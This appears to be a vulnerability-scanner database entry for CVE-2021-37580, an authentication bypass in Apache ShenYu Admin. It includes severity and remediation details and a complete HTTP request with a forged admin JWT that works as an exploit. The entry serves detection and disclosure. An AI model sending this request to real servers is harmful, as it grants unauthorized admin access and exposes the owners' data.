| Title | Apache ShenYu Admin JWT - Authentication Bypass |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system. |
| Remediation | Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93993 |
| CVE ID | CVE-2021-37580 |
| CWE ID | CWE-287 |
| Tags | cve2021 cve apache jwt shenyu vkev vuln |
Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
GET /dashboardUser HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37580.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-37580.pcap
N/AN/A